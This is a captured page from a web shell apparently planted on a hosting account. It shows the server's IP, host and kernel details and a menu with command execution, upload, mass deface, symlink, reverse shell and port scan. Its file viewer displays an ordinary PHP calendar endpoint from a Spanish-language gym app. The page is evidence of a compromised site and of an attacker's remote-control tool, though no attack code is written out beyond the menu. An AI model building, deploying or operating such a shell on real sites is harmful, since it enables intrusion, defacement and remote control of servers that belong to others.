Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
progressgym
/
modules
/
calendario
/
Viewing: actions.php
<?php /** * Módulo Calendario - Acciones AJAX * Manejo de estados de días (gym/descanso) */ require_once __DIR__ . '/../../config/database.php'; header('Content-Type: application/json'); $db = getDB(); $uid = $_SESSION['user_id'] ?? 0; $method = $_SERVER['REQUEST_METHOD']; if (!$uid) { echo json_encode(['success' => false, 'error' => 'No autenticado']); exit; } try { switch ($method) { case 'POST': // Crear o actualizar estado de un día $data = json_decode(file_get_contents('php://input'), true); if (empty($data['fecha']) || empty($data['estado'])) { echo json_encode(['success' => false, 'error' => 'Fecha y estado son requeridos']); exit; } $fecha = $data['fecha']; $estado = $data['estado']; // Validar estado if (!in_array($estado, ['gym', 'descanso'])) { echo json_encode(['success' => false, 'error' => 'Estado inválido']); exit; } // Verificar si ya existe registro para este usuario y fecha $duo = getDuoId(); $stmt = $db->prepare("SELECT id FROM calendario WHERE fecha = :fecha AND usuario_id = :uid AND duo_id = :duo LIMIT 1"); $stmt->execute([':fecha' => $fecha, ':uid' => $uid, ':duo' => $duo]); $existing = $stmt->fetch(); if ($existing) { $stmt = $db->prepare("UPDATE calendario SET estado = :estado WHERE id = :id"); $stmt->execute([':estado' => $estado, ':id' => $existing['id']]); } else { $stmt = $db->prepare("INSERT INTO calendario (usuario_id, fecha, estado, duo_id) VALUES (:uid, :fecha, :estado, :duo)"); $stmt->execute([':uid' => $uid, ':fecha' => $fecha, ':estado' => $estado, ':duo' => $duo]); } echo json_encode(['success' => true, 'message' => 'Estado guardado']); break; case 'DELETE': // Limpiar estado de un día $data = json_decode(file_get_contents('php://input'), true); if (empty($data['fecha'])) { echo json_encode(['success' => false, 'error' => 'Fecha es requerida']); exit; } $duo = getDuoId(); $stmt = $db->prepare("DELETE FROM calendario WHERE fecha = :fecha AND usuario_id = :uid AND duo_id = :duo"); $stmt->execute([':fecha' => $data['fecha'], ':uid' => $uid, ':duo' => $duo]); echo json_encode(['success' => true, 'message' => 'Estado eliminado']); break; case 'GET': // Obtener todos los registros del usuario $duo = getDuoId(); $stmt = $db->prepare("SELECT fecha, estado FROM calendario WHERE usuario_id = :uid AND duo_id = :duo ORDER BY fecha"); $stmt->execute([':uid' => $uid, ':duo' => $duo]); $registros = $stmt->fetchAll(); $gymCount = 0; $descansoCount = 0; foreach ($registros as $r) { if ($r['estado'] === 'gym') $gymCount++; else if ($r['estado'] === 'descanso') $descansoCount++; } echo json_encode([ 'success' => true, 'registros' => $registros, 'stats' => [ 'gym' => $gymCount, 'descanso' => $descansoCount, 'total' => $gymCount + $descansoCount ] ]); break; default: echo json_encode(['success' => false, 'error' => 'Método no permitido']); } } catch (Exception $e) { echo json_encode(['success' => false, 'error' => $e->getMessage()]); }
Coded With 💗 by
0x6ick